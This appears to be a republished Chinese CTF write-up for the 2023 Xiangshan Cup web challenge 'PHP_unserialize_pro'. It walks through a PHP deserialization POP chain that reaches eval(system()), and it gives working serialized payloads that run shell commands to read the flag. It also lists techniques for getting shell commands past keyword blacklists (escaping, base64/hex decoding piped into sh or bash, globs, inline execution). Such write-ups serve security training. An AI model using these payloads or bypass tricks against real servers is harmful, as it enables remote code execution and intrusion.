[wp]2023中山市第三届香山杯 web PHP_unserialize_pro

这篇具有很好参考价值的文章主要介绍了[wp]2023中山市第三届香山杯 web PHP_unserialize_pro。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

PHP_unserialize_pro

考点:

  1. 反序列化漏洞POP的构造
  2. eval()函数恶意php代码执行
  3. []通配的形式绕过黑名单字母

源代码:

<?php
    error_reporting(0);
    class Welcome{
        public $name;
        public $arg = 'welcome';
        public function __construct(){
            $this->name = 'Wh0 4m I?';
        }
        public function __destruct(){
            if($this->name == 'A_G00d_H4ck3r'){
                echo $this->arg;
            }
        }
    }

    class G00d{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
                die("U R A BAD GUY");
            }
            eval($shell($cmd));
        }
    }

    class H4ck3r{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    }

    if(isset($_GET['data']))
        unserialize($_GET['data']);
    else
        highlight_file(__FILE__);
?>

代码审计:

先找出口函数:为eval() 然后执行eval()函数 就必须触发__invoke()魔术方法,

__invoke():当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

所以我们只要令H4ck3r类里面的$func = new G00d()就可以触发了,然后调用func函数就要触发__toString()魔术方法,

__toString():当一个对象被当作一个字符串时使用

所以我们就要调用Welcome里面的arg令它当成G00d()函数就行  然后就是触发__destruct()

条件就是要销毁一个对象 那就要创建对象 就触发了__construct()魔术方法

POP链:

__construct->__destruct()->__toString()->__invoke() 

代码构造;

<?php
class Welcome
{
    public $name = 'A_G00d_H4ck3r';
    public $arg = 'welcome';
}
class G00d
{
    public $shell = 'system';
    public $cmd = 'dir /';
}
class H4ck3r
{
    public $func;
}
$m = new Welcome();
$m->arg = new H4ck3r();
$m->arg->func = new G00d();
echo serialize($m);

Payload:?data=O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"system";s:3:"cmd";s:5:"dir /";}}}

[wp]2023中山市第三届香山杯 web PHP_unserialize_pro,反序列化漏洞,CTF,writeup,web安全,代码复审

发现f1ag 因为黑名单的限制 所有匹配flag字母都会被禁止 这里就采用通配符[]进行绕过

[wp]2023中山市第三届香山杯 web PHP_unserialize_pro,反序列化漏洞,CTF,writeup,web安全,代码复审

关于某个字母被ban的绕过方法

1. 反斜线转义 cat fla\g.php

2. 两个单引号做分隔 cat fl''ag.php

3. base64编码绕过 echo Y2F0IGZsYWcucGhw | base64 -d | sh

4. hex编码绕过 echo 63617420666c61672e706870 | xxd -r -p | bash

5. glob通配符 cat f[k-m]ag.php   cat f[l]ag.php

6. ?和*

7. cat f{k..m}ag.php

8. 定义变量做拼接 a=g.php; cat fla$a

9. 内联执行cat `echo 666c61672e706870 | xxd -r -p` 或 cat $(echo 666c61672e706870 | xxd -r -p) 或 echo 666c61672e706870 | xxd -r -p | xargs cat

所以最终paylo:

?data=O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"system";s:3:"cmd";s:22:"more /[b-z]1[@-z][b-z]";}}}

[wp]2023中山市第三届香山杯 web PHP_unserialize_pro,反序列化漏洞,CTF,writeup,web安全,代码复审

得到falg文章来源地址https://www.toymoban.com/news/detail-712932.html

到了这里,关于[wp]2023中山市第三届香山杯 web PHP_unserialize_pro的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 2023第三届”红明谷“杯网络安全大赛 Writeup By AheadSec

    修改前端js代码,将连点10次处的 clickDecryptBtn(); 循环次数改为10000即可,如图所示: Dreamer cms有nday:https://forum.butian.net/share/2183 其中有一个后台设置栏目存在任意文件读取的漏洞,而且也给了flag位置在 /flag 保存,然后首页点击这个栏目即可 返回都是 gzip 格式的数据,直接用

    2023年04月24日
    浏览(33)
  • 第三届计算机、物联网与控制工程国际学术会议(CITCE 2023)

    第三届计算机、物联网与控制工程国际学术会议(CITCE 2023) The 3rd International Conference on Computer, Internet of Things and Control Engineering(CITCE 2023) 第三届计算机、物联网与控制工程国际学术会议(CITCE 2023)将于2023年11月3-5日在英国莱斯特召开。 CITCE 2023将围绕计算机、物联网与控制

    2024年02月11日
    浏览(31)
  • 征稿 | 第三届粤港澳大湾区人工智能与大数据论坛(AIBDF 2023)

    第三届粤港澳大湾区人工智能与大数据论坛(AIBDF 2023) 2023 3rd Guangdong-Hong Kong-Macao Greater Bay Area Artificial Intelligence And Big Data Forum      本次高端论坛围绕建设国家数字经济创新发展试验区进行选题。全面贯彻落实党的二十大精神,深入贯彻落实关于发展数字经济的重要指示要

    2024年02月13日
    浏览(35)
  • 2023年台州市第三届网络安全技能大赛(MISC)—Black Mamba

    前言:当时比赛没有做出来现在来复现一下 就当记录一下(这个思路没想到) 一张图片 常规得分离,属性, LSB ,盲水印等都尝试过 无果! 考点:异或解密(第一次遇到,没想到) 这里放入 010 发现底部有沉余字符,与十进制 24 异或,得到压缩包 这里得到压缩包 然后我们

    2024年02月08日
    浏览(42)
  • 【EI会议征稿】第三届机械自动化与电子信息工程国际学术会议(MAEIE 2023)

    第三届机械自动化与电子信息工程国际学术会议(MAEIE 2023)  第三届机械自动化与电子信息工程国际学术会议(MAEIE 2023)将于2023年12月15-17日在江苏南京举行。本会议通过与业内众多平台、社会各团体协力,聚集机械自动化、电子信息工程等相关领域的学者,实现研究成果、

    2024年02月09日
    浏览(36)
  • 【EI/SCOPUS检索】第三届计算机视觉、应用与算法国际学术会议(CVAA 2023)

    第三届计算机视觉、应用与算法国际学术会议(CVAA 2023) The 3rd International Conference on Computer Vision, Application and Algorithm   2023年第三届计算机视觉、应用与算法国际学术会议(CVAA 2023) 主要围绕计算机视觉、计算机应用、计算机算法等研究领域展开讨论。会议旨在为从事相关科

    2024年02月13日
    浏览(31)
  • 第三届字节跳动青训营——架构学习

    架构定义:有关软件整体结构与组件的抽象描述,用于指导软件系统各个方面的设计 常见软件架构 单机:所有功能都实现在一个进程里,进程部署在单台机器上,运维时需要停服 C10K问题(Concurrent 10,000 Connection):服务器如何支持10K个并发连接,进行高性能网络编程。解决

    2024年01月18日
    浏览(36)
  • 第三届计算机能力挑战赛C语言

    一、单项选择题 1.题 (3.0分) 以下叙述正确的是()。 A.在C程序,至少要包含一个库函数 B.C程序的一行可以写多条语句 C.对一个C程序进行编译就可以生成可执行文件 D.C程序中的注释只能单独一行,不能位于某条语句的后面 2.题 (3.0分) 下面选项中,不是C语言的是()。

    2024年02月04日
    浏览(36)
  • ctfshow 第三届愚人杯 easy_php

    这题学的了一些小tips,这里讲解一下。 这里详细讲解一下使用c绕过wakup。 O标识符代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任

    2023年04月26日
    浏览(51)
  • “美亚杯”第三届中国电子数据取证大赛答案解析(团体赛)

    Gary 被逮捕后,其计算机被没收并送至计算机取证实验室。经调查后,执法机关再逮捕一名疑犯Eric,并检取其家中计算机(window 8), 并而根据其家中计算机纪录, 执法机关再于其他地方取得一台与案有关的服务器,而该服务器内含四个硬盘。该服务器是运行LINUX 系统。 由于事件涉

    2024年02月12日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包